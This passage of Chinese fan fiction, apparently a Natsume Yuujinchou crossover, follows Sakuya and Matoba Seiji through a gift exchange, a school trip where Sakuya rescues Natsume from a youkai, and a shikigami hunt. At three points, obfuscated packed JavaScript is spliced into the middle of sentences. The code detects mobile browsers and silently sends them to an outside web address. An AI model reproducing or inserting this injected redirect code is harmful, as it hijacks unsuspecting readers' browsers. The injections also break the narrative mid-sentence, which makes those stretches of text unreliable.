“呃、这个……”朔也难为情地挠了挠脸颊,“这个是我的乳牙……” “嗯?”的场静司差点以为自己听错了。 “是左边的上犬齿,刚脱落的时候还是正常的,但不知道为什么再看的时候就变成了琥珀的样子。” 朔也尴尬地解释道:“我让爸爸送来了之前掉落的乳牙,但那些都是正常的,只有这一颗……” 的场静司对着灯光举起吊坠,睁大眼睛,“啊,果然是犬齿呢。” “因为是牙齿,怎么想都觉得怪怪的,所以如果静司先生介意的话……” “为什么要介意?”的场静司笑眯眯地看向朔也,“朔也愿意把这么珍贵又可爱的东西送给我,感觉「愿静司先生幸福」的愿望此刻已经实现了呢!” 朔也忍不住捂住脸,“不要这么说啦,静司先生!” 看到朔也的样子,的场静司终于收敛了些,他小心地收好吊坠,温柔而郑重地说道:“谢谢你,朔也。” 朔也还是有些不好意思,他小声地把之前查到的资料告诉了的场静司。 “那颗牙齿估计是受到眼睛的影响才变成这样。” “虽然不算是妖怪的骸骨,应该也是妖力凝结而成的。” “就算不能带来好运,刻在上面的符文也可以起到守护的作用……” 从刚才开始,的场静司的心就不停躁动着,让他忍不住打断朔也的话。 “朔也应该知道这是很珍贵的东西吧,为什么要送给我呢?” 的场静司的视线十分专注,朔也垂下眼睛,视线游移着,轻声解释道:“静司先生如果想拥有式神的话,大概需要花很长的时间寻找……” “我不是妖怪,但……如果我是的话,一定会愿意做静司先生的式神的。” 朔也鼓起勇气对上的场静司的视线,真诚地说道:“所以在静司先生找到自己的式神之前,我来做静司先生的式神吧!” “这颗犬齿可以当做是我们的约定信物吗?” “虽然我现在还很弱,但会努力变强的,可以帮到你……” 不知何时坐到朔也身边的的场静司突然紧紧抱住了他。 朔也吓了一跳,上次和对方挨这么近还是刚来的场家时躲在静司身边睡觉的时候,那时候也像现在这样,可以闻到对方衣物熏香后留下的沉静淡雅的味道,让人很安心。 “所以朔也非常确定我是很想要式神的咯?”的场静司闷声问道。 “啊?我猜错了吗……” “擅自做出这样的约定,让我很为难啊。” “诶?” “但我真的很喜欢这个约定。” “……” “朔也,谢谢你。” 的场静司的声音很轻,和朔也隐约感受到的心跳声融合到了一起。 被对方亲昵地抱在怀里,时间久了,朔也已经从之前的紧张逐渐变为了麻木,在觉得有点犯困后,他拍了拍的场静司的胳膊。 “该刷牙睡觉了,静司先生。” 的场静司慢慢地放开朔也,看着对方起身并极其自然地顺手拿起食盒。 “蛋糕我带走咯,明天再吃吧。” “静司先生,晚安。” “……晚安。” 的场静司看着门被合上,轻微地脚步声越走越远,往后躺倒在榻榻米上,举起手中的吊坠静静地看着。 在这样的礼物面前,其他都不重要了。 12. 第十二章 少年 * 时间转瞬即逝,又一个秋天到了。 * 已经是初三学生的朔也正待在飒真的家里一起写作业。 “朔也,你知道修学旅行会去哪吗?”飒真在休息的间隙随口问道。 “还不知道呢。”朔也有些好奇,“你有想去的目的地?” “啊,我想去北海道,但我们学校的传统是去关西。” “关西也不错吧。”朔也想了想,“我还挺想去奈良看看的。” “唔。”飒真回忆道:“我们家一起去过,奈良确实不错。” “那要是去奈良的话,飒真就当我的向导吧。” “当然。”飒真点点头,庆幸道:“还好初三和你分在同一个班,不然修学旅行一定很无聊。” “我说你啊。”朔也笑着吐槽,“明明很擅长交朋友,为什么朋友那么少啊?” “哈?!”飒真瞪大眼睛,“只有朔也你会这么想啦!那些家伙,我还没说话他们就一副害怕的样子……” “都叫你平时多笑笑咯。”朔也一边奋笔疾书一边调侃道:“干嘛非得冷着脸?” “好麻烦,笑也很消耗精力哎……哎,朔也,你的手机好像响了!” 朔也摸索着从包里拿出手机看了看,“是静司先生。” 飒真顿时闭嘴,冲朔也做了个拉上嘴巴拉链的动作。 “静司先生……啊,是的……嗯,快做完了……好的……嗯,待会儿见。” 看见朔也挂断电话,飒真问道:“的场学长要来接你么?” 朔也点点头,“嗯,好像是去附近拜访世交,结束得早所以顺便来接我。” “学长果然超关心你哎。”飒真忍不住感叹道:“亲兄弟也不过如此吧。” 此前在得知朔也借住在的场家时,飒真还偷偷担心过。 后来他被朔也邀请去参加生日聚会,才知道自己大错特错,什么寄人篱下、拘谨压抑都是他的想象,朔也在的场家过得很自在。 “其实我一直想问,朔也,你为什么叫学长‘先生’啊?”飒真好奇问道:“叫哥哥不是会更亲近吗?” “啊……我没想过这个问题……”朔也愣了一会儿,“因为一开始就是这么称呼的,就习惯这样了。” “不会觉得太客气了吗?”飒真困惑道:“明明像家人一样。” “会吗?”朔也想了想,“但称呼哥哥的话,总觉得会过于亲近了……” “亲近不好吗?”飒真难以理解朔也的想法。 “不会不好,但……”朔也努力地描述着自己的感受,“我很憧憬静司先生,用尊称反而感觉更自在。” “诶……”飒真依然不太懂,不过表示理解,“感情很好的话,怎么称呼倒在其次了。” 两人又聊了会儿天,朔也见缝插针地完成了作业,而后看了看时间。 “啊,快到了,我得走了。” 飒真陪着朔也走下楼,两人刚走出门口,来接朔也的车就到了。 朔也上了车,放下车窗和飒真告别。 坐在朔也旁边的青年也看了过来,淡漠地微笑颔首。 目送车子远去的飒真不知第多少次地感叹起来,朔也到底是怎么和的场学长相处的啊? 明明是一个表面彬彬有礼实则冷淡疏离的傲慢家伙,却被朔也翻来覆去地夸赞温柔…… 虽然朔也口中的那个人是很温柔啦,但这两者竟然是同一人么? 总觉得有点可怕啊。 * “静司先生,今天还顺利吗?” “嗯,例行拜访而已。” 的场静司抬手松了松领带,看向一旁的朔也,笑道:“为什么这么看着我?” 朔也眨眨眼,说道:“很少见到静司先生穿西装的样子。” “没办法呢,要应酬的话只能更圆滑一些了。” “会很辛苦吗?”朔也刚问出口,就觉得自己问了个傻问题。 “啊,这样问好像没什么意义,我什么时候才能帮静司先生分担一些呢?” 的场静司轻笑起来,“朔也已经分担很多了哦。”至少此刻他感到很放松。 “朔也最近功课很多?感觉一直在和朋友学习。” “还好,不过马上要修学旅行,后面还有静司先生的成年仪式,总觉得会很忙碌。”朔也解释道:“如果现在不多做一点的话,考试周大概超累的。” 的场静司笑眯眯地调侃道:“总是能提前安排好,所以这就是优等生的秘诀吗?” 在过去几年的相处中,朔也早已习惯了对方喜欢逗弄他的恶趣味,听到这种话也不为所动,只是平淡地说道:“据说因为是优秀校友的缘故,静司先生的照片有在高中部展示哦。” “那不过是作为校董会成员得到的人情赠送罢了。”的场静司自嘲道。 “才不是呢……”朔也不满地嘟囔了一句。 他之所以学习这么努力,很大一部分原因是的场静司在校时成绩优异,他不想在学业方面成为让静司先生厌恶的“愚蠢的家伙”。 不过静司先生因为要继承的场家的缘故没有继续升学,这大概让高中部的老师觉得非常可惜。 “话说回来,成年仪式而已,七濑桑会安排好的,朔也不用担心。”的场静司笑着转回话题。 “啊,又来了,静司先生总喜欢避重就轻。”朔也不满地看向一旁的人,“明明这个成年仪式非常重要!” 这不只是庆祝的场静司年满20岁的仪式,更是他正式成为的场一门首领的仪式。 高中毕业之后,的场静司就开始接手的场家的事务,经过这几年的磨砺,已经获得了同门的认可。 原本继承人不必这么早就接过重担,但因为家族内一些不可说的原因,的场静司被早早地推到了前台。 不过朔也觉得,这大概也是静司先生所期望的。 “嘛,该做的事都已经做了,仪式不过锦上添花而已,也影响不了什么。”的场静司笑得很洒脱。 这次朔也是真的不太开心了,他闷闷地问道:“静司先生打算一直瞒着我吗?关于右眼的事情。” “哦呀,七濑桑告诉你了吗?”的场静司没觉得意外,只是有些无奈地解释道:“我不想让你太在意这件事情。” “怎样我都会在意的。”朔也皱着眉,“那个妖怪可是怨念深重,怎么想都很麻烦。” 的场静司看着他,叹了口气,“没有告诉你,就是因为不想看到朔也现在的样子。” “这又不是我能控制的。”朔也把脸扭到一边,生气地说道:“早点说出来的话,至少可以一起想办法啊!” 的场静司不禁苦笑起来,“朔也,多少也要考虑到铃木先生的心情哦,我也绝不会允许你参与到危险的事情里。” 朔也的脸迅速转了回来,双目灼灼地看着的场静司,“所以仪式确实很危险对不对?那个妖怪会来袭击?” 的场静司难得有几分无语,甚至有点感慨青春期孩子的难缠程度,难怪他在这么大的时候,七濑桑总是一副疲惫的样子。 “我一定猜中了!”朔也笃定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751162|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说道。 的场静司没在对方盯着他的视线里坚持多久,终于无奈问道:“现在你知道了,所以打算怎么办呢?” 朔也仿佛就等着他发问一般,迅速回答道:“下次七濑阿姨他们去搜寻式神的时候,我想去看看!” 原来在这里等着他呢,的场静司忍不住笑了笑。 这是属于少年人的小心机,但的场静司觉得很可爱,甚至感到欣慰。 所以他还是同意了。 “但是……” 朔也迫不及待地接过话头,“一切以我的安全为优先,我会保护好自己的!” 的场静司暗暗叹气。 但是能怎么办呢? * 的场一门无法正常缔结式神契约,说是搜寻式神,其实就是四处狩猎妖怪为己作用。 如果是足够强大且能够沟通的妖怪,那就通过交易的方式缔结契约;一般的尚可利用的妖怪,则会通过力量的碾压来驱使;不能被利用的,可能被封印,也可能放任不管。 朔也第一次了解这些时,很直接地表示,“听起来像是某些故事里的反派。” 但在的场静司的观念里,那样的做法显得理所当然。 “妖怪的世界是弱肉强食的,以驱逐妖怪为生的除妖师自然也得遵循这样的规则。” “当然,也有除妖师秉持高尚的理念,但这样的家族很快都消失了。” “的场一门正是依靠不择手段寻求强大的力量而存续至今,这是我们生存的方式。” 的场静司静静地看着朔也,微笑道:“这样的理念,朔也大概很难赞同吧。” 朔也有些不满,“不要随便预设别人的立场啊,静司先生。” “我厌恶妖怪,很难从妖怪的立场去思考事情。”朔也蹙眉说道:“作为除妖师,我的目的是驱逐对人类造成困扰的妖怪。至于力量,如果因为不够强大而失败或死去,那也是我得接受的结果。” “我不喜欢的场一门的做法,但没有表达赞同与否的权力。” “的场一门既然觉得那些方法有用,无论如何都会继续下去的。静司先生作为未来的首领,肯定也不会放弃这么做的吧?” “很狡猾的回答哟。”的场静司笑眯眯地看着朔也,“是让自己置身事外的立场呢。” “怎么可能置身事外?”朔也忍不住抱怨道:“就算不喜欢那样,但只要有静司先生在的话,我就只能站在静司先生这边啊!” 的场静司惊愕了一瞬,而后轻笑出声。 “哦呀,好像被朔也告白了。” “什么呀!”朔也无可奈何地皱起眉头,“静司先生,不要在这种时候开玩笑啦!” “啊,抱歉~”的场静司温柔地说道:“朔也的态度成熟又可靠,让我太惊讶了。” “不要小看我哦。”朔也的脸撇向一边,低声说道:“我可是很认真地思考过的。” “如果未来要成为除妖师的话,这些事情都得好好想清楚吧?茫然去做的话,总有一天会迷失的。” 的场静司看着朔也,突然觉得他就像锚一样,总让自己坚定地立足于某个地方,也因此标记了他的位置。 “朔也,快点长大吧。”的场静司不由自主地期许道。 “在长了,在长了。” 自觉聊天结束的朔也随口应着,提着书包站起身,准备去楼上写作业,同时不忘说道:“冰箱里的点心我带上去咯,静司先生死心吧。” 的场静司心情复杂地叹了口气,青春期的少年人翻脸真的比翻书还快呢。 13. 第十三章 偶遇 * 朔也还没来得及体验狩猎妖怪的活动,就先迎来了修学旅行。 学校果然安排的是传统关西路线,5天4晚的大阪-神户-京都之旅,完美错过朔也感兴趣的奈良,只能以后有机会再去了。 第一天早上要先去学校集合,朔也起了个大早,洗漱完又检查一遍行李,然后放轻脚步下楼。 但到了楼下,他却发现的场静司早就在了,正等着他吃早餐。 “静司先生怎么起这么早?” “有点事情要处理,正好顺路送你去学校。” 朔也笑着点点头,“谢谢啦。” “东西都带好了吗?”的场静司看了看朔也的行李包,总觉得有点少了。 “唔,带好了。”在这方面朔也有些大大咧咧,“只有五天,要不了什么东西,缺了的话我会借飒真的。” “记得随身带手机,有什么事情随时联系我。”的场静司叮嘱道。 “嗯嗯!”朔也边吃早餐边点头。 一旁端早餐过来的女仆千夏忍不住笑起来,调侃道:“静司少爷真的很担心呢,朔也少爷在外要照顾好自己哦。” 刚喝了一口汤的朔也差点被呛到,红着脸抱怨道:“我不是小孩子了,会照顾自己的!” 的场静司撑着头,看着朔也幽幽地说道:“但是这是朔也第一次一个人出远门哦。” “哪有一个人,全班同学和老师都在啊!” 早餐就在一片热闹中结束了。 等的场家的车驶到学校时,大巴车已经出现在校门口。 的场静司叫住要下车的朔也,递给他一张银行卡。 “诶?”朔也看着卡,疑惑道:“我有带零花钱。” “里面存着你帮七濑桑做符咒和术具的报酬,得收好哟。” 的场静司难得露出不容拒绝的神情,朔也只好乖乖地接过来。 “有缺的东西,或者想要的东西,直接刷卡就行了,密码是你的生日。” “哦,好的。” 朔也直到下车都还有点懵圈,怎么突然就多出一张银行卡了?话说初中生可以用银行卡吗? “朔也,你在看什么?”飒真从朔也身后探出头来,好奇问道。 算了,静司先生给的肯定没问题! 朔也回过神,晃了晃手里的卡,开心道:“我发财啦,飒真,请你吃冰淇淋!” “诶?涨零花钱了吗?可恶,好羡慕!” “嘿嘿~” * 修学旅行的第一站是大阪,在马不停蹄地逛了两天后,终于迎来了第二站的温泉之旅。 “果然得有温泉才觉得是修学旅行啊!”飒真躺倒在榻榻米上,伸着懒腰感叹道。 “飒真,快换浴衣,你不是想去泡汤吗?” “啊,等等,我先去下洗漱间!” “我去楼下等你。” 朔也沿着长廊走到楼梯口,正准备下楼,突然觉得有点不对劲。 他转头看向另一边的走廊,细微的怪异声响从不远处传来,还有隐约的异样气息…… 有妖怪吗? 朔也皱起了眉。 之前听前台迎接的女将说,今天旅馆里住满了学生,除了朔也的学校,还有另一所学校的学生也在这里。 这么多人,如果妖怪混在其中,那就糟糕了。 朔也转身朝着声响传来的地方慢慢走去。 随着“咔呲咔呲”的怪异声越来越清晰,朔也也感知到了带着恶意的妖气。 在一间和室门口停下,朔也猛地拉开门。 “走开!” 一个身影突然扑了过来,撞进了朔也怀里,另一抹黑色的影子飞快从他头顶一闪而过。 朔也下意识抓住怀里的东西,定睛一看,才发现对方是个比他稍矮一些的少年。 对方穿着中学制服,头发凌乱,神情慌张,看起来很狼狈。 “你没事吧?刚刚怎么了?” 少年紧张地看了一眼身后,慌乱地鞠了一躬,“对不起,我没事!”然后匆忙地跑下了楼。 朔也看着他的背影,蹙紧眉头。 这个人是被妖怪缠上了吗? 还有,这家伙也太瘦了吧!全是骨头,撞得他肋骨好疼,嘶…… * 因为遇到了疑似妖怪作祟的事情,朔也一整个晚上都显得心不在焉。 “朔也,是太累了吗?”飒真担心地打量着朔也,“要不我们回去休息吧?” “啊,我只是想起有件事情忘了和静司先生说。”朔也像突然想起什么一样,说道:“飒真,你继续逛吧,我先回去给静司先生打电话。” 果然,一说到的场静司,飒真什么都不问了。 “那你快去吧,我会给你带宵夜的。” “谢谢啦!” 和飒真分开后,朔也第一时间回了旅馆,他准备把整个旅馆巡视一遍,顺便看看能不能找到之前遇见的那个少年。 可惜他上上下下检查了好几遍,既没有感知到妖怪的存在,也没有看到要找的人。 朔也站在二楼走廊上,仔细扫视着旅馆周围的景象。 此刻已快到深夜,第二波泡汤的客人已经纷纷回了房间,旅馆外已经安静下来。 这种安静也让旅馆外的动静变得更加明显,朔也看着旅馆后的树林,风刮过树丛的声音显得突兀又奇怪。 肯定是那里! 朔也急匆匆地下楼,跑向后山树林。 * 夏目贵志拼尽全力奔跑着,他顾不上树枝灌木划过身体的疼痛,只是慌乱地张望着,想找到去附近神社的方向。 「真是美味的孩子啊~」 妖怪扭曲的声音森冷又刺耳,仿佛就响在耳边,似乎那只妖怪距离自己仅剩一步之遥。 「跑不掉的哦~嘻嘻~」 夏目剧烈地喘息着,竭力地奔跑让他嘴里泛起一股铁锈味。 树林里没有灯光,枝叶间漏下的月光让前路更加斑驳,夏目踉跄了一下,被石块绊倒在地。 身后的声音迅速靠近,侵袭的恶意让夏目咬紧牙关。 「就让我吃掉你……」 「以神敕之名,净除污秽,邪物祓除!」 一道幽光如利剑般穿透扭曲的黑影,妖怪尖叫一声,瞬间消逝无形。 倒在地上的夏目看着眼前这一幕,一时没回过神。 “你还好吧?受伤了吗?” 穿着浴衣的身影慢慢走近,夏目抬起头,在月光里看清了他的眼睛。 是下午那个被他撞到的人,有着让人印象深刻的异色双瞳。 “咦?被吓到了吗?” 一只手在自己眼前晃了晃。 夏目猛地坐起身,“谢谢,我没事。” 对方朝他伸出一只手。 “能站起来吗?” 夏目自己爬了起来,迟疑地问道:“刚刚……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751163|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “啊,你能看见吧?追着你的那个妖怪,我刚刚把它祓除了,现在没事了。” 似乎和他同龄的少年若有所思地看着他。 “你的力量很强,应该能驱逐那个家伙才对……你不是除妖师?” “除妖师?” “看来不是,难怪……那你这样很危险啊,这次还好,下次如果……” 手机铃声突然响了起来,少年还没来得及接,不远处就传来另一个人的喊声。 “喂,朔也!是你吗?” 少年转过头,应声道:“飒真,我马上过来。” 少年再看过来时,问道:“我叫铃木朔也,你叫什么?” “我叫夏目……” “朔也,快了吗?你到底在里面干什么啊?”远处的声音渐渐靠了过来。 “夏目,对吧?快点回去吧!” 少年匆匆说了一句,而后快步跑向声音的方向。 “你这家伙,真是的!这么晚了还要跑到树林里,很危险啊!” “啊,抱歉,给我带的宵夜呢?” “你就只记得这个吗……” 两个人的声音逐渐远去。 夏目松了口气,只是依然还沉浸在震惊里,这是他第一次碰到能和他一样看到妖怪的人。 所以,他其实并不是异类,是吗? 那个人,还有他提到的除妖师,难道都是和自己一样么…… * 除掉妖怪的朔也放心地睡了个好觉,次日一早就去泡了温泉,算是给温泉之旅画上了一个圆满的句号。 吃过早餐后,他们就得赶去下一站了,另一个学校的行程似乎和朔也的学校差不多,也到了集合离开的时候。 两个学校的学生在停车场分开两边聚集着,等着听老师的安排。 朔也从包里掏出一个东西,径直走向另一群学生。 “打扰了,夏目君在吗?” 学生们没有出声,只是有一些人纷纷沉默地看向最边缘的位置。 朔也感觉到这个氛围不太对劲,他索性直接走了过去,揽过夏目的肩膀带着他走到一旁。 “夏目君,这个东西给你。”朔也把手里的御守塞到了夏目手里,叮嘱道:“里面放着我做的符咒,你一定要随身带着。” “符咒?” “嗯,守护符,应该能帮你挡掉一些妖怪。” “呃,谢谢……” “还有,这是我的手机号码。”朔也又给夏目塞了一张纸条,“如果你遇到麻烦的妖怪,就打给我。” “为什么?”夏目抬起头,问道。 “什么为什么?”朔也愣了一下,“你现在这样很危险,昨天你也见到了,妖怪对你这样拥有强大力量的人是很垂涎的。” “铃木君为什么要帮我呢?”夏目的视线淡漠地转向一边,“即使你帮了我,我也没办法回报你。” 朔也被噎了一下,但也大概猜到了少年当前的境况。 “你太小瞧你拥有的力量了,只要你活着,总有一天可以帮到我。” 朔也看了看不远处正观察着他们的夏目的同学们,又转头看向夏目。 “我也只有帮你解决妖怪麻烦的能力,总之,有危险的话就联系我吧。” “喂,朔也,要走了!”飒真在远处冲朔也挥手。 朔也拍了拍夏目的肩,“那之后再见了,夏目君,记得多吃点饭。” 啧,瘦得硌手。 14. 第十四章 诱饵 * 除了在温泉旅馆的小意外,修学旅行的其他环节都很顺利。 不过那个叫夏目的少年让朔也很在意,他看起来似乎过得不太好,是一直被妖怪困扰着吗? 朔也非常明白被妖怪纠缠的滋味,但他很幸运,有努力理解和保护自己的家人,也有来自祖辈的传承给予他指引,更不用说之后还得到了的场家的庇护。 但如果那个少年出身于普通人的家庭,能看见妖怪的他一定像个异类吧,被妖怪纠缠不休却无法获得帮助,甚至可能因为怪异的举止被身边的人排斥…… 朔也越想越觉得揪心,不禁后悔自己没有问清楚夏目的具体信息,不知道名字,也没有联系方式,只能被动地等他联系自己。 但考虑之前夏目防备的样子,朔也有点怀疑对方是否真的会主动求助。 还好,至少现在的朔也是很擅长求助的。 求助的对象当然是的场静司和可靠的七濑阿姨。 “夏目?”的场静司想了想,看向七濑,问道:“这个姓氏虽然不属于除妖师家族,但似乎听七濑桑提起过。” “啊,那是很久前的事了。”七濑回忆道:“我年轻的时候,听说隔壁镇子有个叫‘夏目玲子’的女孩,妖力非常强大,打败过很多强大的妖怪,以至于那一片的妖怪都很畏惧她。” “我当时对她很好奇,一直想和她结识,但很遗憾没能实现。” “这个叫‘夏目’的孩子,也许是她的后人吧。” “啊,确实很有可能……”朔也回想见到夏目时的情景,“他的力量非常强,我一开始差点把他误认为妖怪,但他似乎完全不会使用自己的力量。” “是没有得到长辈的引导吗?”七濑怀疑道:“但夏目玲子很强大,应当会指导晚辈才对。” “不如调查一下吧,七濑桑。”的场静司思忖道:“这样的孩子如果生活在不被理解的危险环境里,实在太可惜了。” “静司先生想让夏目君到的场家来吗?”朔也诧异地问道。 的场静司点点头,“的场一门需要更多这样有天赋的人。”而后又问道:“朔也觉得呢?” 朔也想了想,如果夏目现在的境况确实很糟糕的话,那像他一样加入的场一门确实是最好的选择。 “如果夏目君愿意的话,那当然很好,不过……”朔也笑着说道:“和他沟通的话,最好让七濑阿姨去哦。” “嗯?” “感觉夏目君是很纤细敏感的人,静司先生说话太直率了,估计很容易惹他生气。”说着朔也回忆起几年前的场景,“我第一次见到静司先生的时候,可是被吓了一跳的!” “诶?!”的场静司吃惊地睁大眼睛,“难道那时候我被讨厌了吗?” “那倒没有。”朔也想起那天,微笑起来:“虽然觉得有点奇怪,但能感觉到静司先生是个很温柔的人。” 一旁的七濑终于忍不住吐槽道:“也只有朔也能忍受了。”虽然现在好了一些,但早些时候,静司说起话来总是毫不留情,让人头疼。 的场静司知道自己那无伤大雅的“小毛病”,于是只是笑眯眯地感叹道:“果然,朔也最好了~” “静司先生,这么说让我压力好大!” “啊,抱歉~” * 妖怪的生存方式和人类不同,其诞生的方式也千奇百怪,在人类看起来,就显得格外难以捉摸。 即便如此,许多除妖师却因为渴望那不可捉摸的力量,期望和妖怪缔结契约。 朔也没有这样的期望,他之所以参与到的场一门狩猎妖怪的行动中,是想多实践一下封印妖怪的术式。 毕竟,正有只大妖怪对静司先生的右眼虎视眈眈,他唯一能做的就是努力让自己变得更强一些。 朔也背着弓跟在七濑身后,看着七濑吩咐除妖师们在森林四处设下结界。 的场一门调查到这附近有一个大妖,所以打算将妖怪引过来,看看是否适合做式神。 这一次,曾带着朔也处理过委托的佐野先生也在。 “铃木君,好久不见。” “佐野先生。”朔也打了招呼,问道:“你也是来寻找式神的吗?” “是啊。”佐野先生笑道:“不过我可不改敢妄想这样的大妖,这边结束后我会去别处看看。” “铃木君呢?”佐野先生问道:“已经开始考虑式神的事情了吗?不过是你的话应该会很顺利吧。” “啊,不是,我只是过来帮忙而已。” “这样啊。” 虽然佐野先生没多说什么,但朔也还是从他的神情里感觉到了隐晦的羡慕。 “朔也,要小心了。”七濑提醒了朔也一声。 “嗯!” 朔也抬头望向森林的深处,他感受到了一些异样。 除妖师们各自散开,隐藏在结界附近。 那个妖怪好像被什么东西激怒了,狂躁的嘶吼声远远地传来。 朔也拿着弓躲在大树后,闭上眼睛,静心捕捉着妖气的变化。 随着妖气逐渐浓烈,朔也皱起眉,除妖师们未免刺激太过了吧,这个妖怪简直暴躁得不像话。 但不管朔也如何想,妖怪还是按照七濑之前安排的那样,被引到了结界之中。 朔也探头看过去,那个妖怪似乎在追着什么东西,狰狞地牙齿上还挂着血迹。 血迹? 有除妖师受伤了?! 朔也忍不住往前走了几步,这才看清跌跌撞撞跑在妖怪前面的人。 准确的说,那也是个妖怪。 那个妖怪失去了一只手臂,浑身是血地跑向早已布置好的符阵。 朔也顿时反应过来,这个妖怪是安排好的诱饵。 他紧皱眉头,抬手举弓瞄准暴躁的大妖。 那只大妖似乎很聪明,察觉到了符阵的危险,竟然绕开符阵,准备扑向诱饵。 密布的结界被妖怪触发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751164|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大妖顿时痛苦嚎叫出声,疯狂地挣扎起来,用力挥着的爪子堪堪将那个断臂的妖怪甩到了一边。 “不好,它快挣脱了!” “得引它到符阵里!” “薄縁,快起来,引它到符阵!” 在混乱的情形里,朔也循声望过去,看到了一个年长的除妖师。 薄縁,那个妖怪是他的式神吗? “七濑桑,怎么办?它太暴躁了,无法沟通!” “再等等。”七濑冷静地说道。 朔也看向剧烈挣扎着的大妖,在离它不远的地方,那个叫薄縁的妖怪努力支撑起身体,又无力地跌倒在地。 朔也合上眼睛,然后睁开,专注地看向大妖……啊,找到了,一团耀眼的红光在妖怪的身体中闪烁着。 朔也手中的符箭瞄准了那抹光亮,虽然符咒上写的是封印的符文,但他知道,只要自己射中那个地方,那个大妖就会被彻底祓除。 但这样的话,七濑阿姨和除妖师们的努力都白费了。 朔也有一瞬的迟疑,刚才发生的那一幕让他本能地想彻底终结掉这场闹剧。 随着妖怪的一声嘶吼,结界破裂。 朔也偏离了原本瞄准的位置,一箭射出。 大妖惨嚎着化为一团黑影钻进符阵的陶壶里。 朔也看向那个不知道是否还活着的式神。 原来,也有这样对待式神的除妖师吗? * 最麻烦的大妖被解决,后续自然会有其他除妖师处理。 朔也独自在附近的森林里闲逛着,被刚刚那个大妖闹了一通,这片树林现在安静又干净,一点妖怪的影子都没有,也不知道佐野先生要去哪里找别的妖怪。 “朔也,怎么样?” 不知什么时候过来的七濑看着朔也微笑道:“大家刚刚都在夸赞你,你的能力想必不久后就会被同行们知晓了。” 朔也淡漠地点了点头。 “很生气吗?”七濑了然地说道,“用式神做诱饵确实是我们会做的事。” 朔也垂下眼睛,闷声说道:“很无聊的做法。” “但就是这样,不够强大的除妖师只能用其他方法来弥补,就算是旁门左道,只要有用,就会有大把的人愿意尝试。” “不够强大”就可以成为无耻的理由么? 朔也突然明白为什么静司先生一直不安排他参加狩猎妖怪的行动。 确实不是什么让人愉快的事情。 “朔也,我还以为你会像厌恶妖怪一样厌恶式神?”七濑笑道:“那只大妖可是差点被祓除了。” “我不了解式神。”朔也看向七濑,说道:“但人太像妖怪的话,反而会比妖怪更令人厌恶。” 七濑愣了一下,而后笑了笑,“朔也直率起来,比静司更可怕呢。” 远处有人在叫七濑,她看向朔也。 朔也摇摇头,“七濑阿姨,我想在这附近再看看,会准时回去的。” 15. 第十五章 八咫 * 虽然无论是铃木家还是的场家都座落于植被比较丰富的区域,但其实除了寺庙或者神社外,朔也很少去树木繁茂的地方。 因为这些地方人烟稀少,反而是妖怪出没得比较多。 像现在这样,独自在森林里待着,对朔也来说也是很新鲜了。 他沿着之前那只妖怪留下的痕迹,边往前摸索边查看。 时间不知不觉过去,朔也渐渐走到了森林深处,妖怪的痕迹已经几乎看不到了。 难道它的巢穴就藏在这附近吗? 朔也四处寻找着,突然听到了几声嘶哑的“嘎嘎”声,像是某种鸟叫。 他顺着声音的方向在地上小心地翻找,终于在一棵树下的落叶堆里发现了发出声音的东西。 一只看不出是什么鸟类的幼鸟,皮肤被白色的羽毛勉强覆盖,眼睛无力地闭着。 似乎察觉到有人靠近,幼鸟不再发出声音,朔也怀疑它是从鸟巢里掉下来受了伤。 他围着树看了一圈,确实隐约可以看见一只鸟巢。 正当朔也打量着树干想着是否把幼鸟放回去的时候,一个声音突然从背后传来。 “这只幼鸟已经被亲鸟抛弃了,你将它放回去,它也无法独自活下去。” 朔也被吓了一跳,他转过身,发现距离不远处正站着一个年轻的男人。 “抱歉,吓到你了。” 对方亲切地微笑着,声音很温和,看上去很友善。 唯一让朔也觉得有点怪异的是,男人穿着一身很正式的狩衣,头上戴着高高的乌帽,现在只有神社的神官会作这样的打扮了。 “……这附近有神社?”朔也忍不住问出了口。 “是的,我的神社在附近的山上。” 男人的视线望向朔也身后的某个方向,朔也侧过身跟着看过去,却只能看到成片的树林。 然后不知道是否是他的错觉,此刻的树林好像和之前的不太一样。 夕阳余晖斜斜地洒进森林里,照的森林比之前更明亮几分,只是那层夕照的光辉仿佛一层薄薄的纱雾。 纱雾曼妙地游动,让整片林子变得璀璨又朦胧,有种不真实的诡异。 朔也猛地转过头,警觉地看向那个男人。 青年神官仍然站在原地,只是对朔也的反应感到疑惑。 朔也警惕地打量了好几遍,并没有在青年身上看出有什么不对,大概是作为神官修习的原因,青年的气息温和纯净,和妖气的感觉完全不同。 朔也稍微放松了一些,他想起刚刚的幼鸟,走到树下蹲下。 幼鸟张了张嘴,但已经没有力气发出声音了。 “它真的被抛弃了吗?” 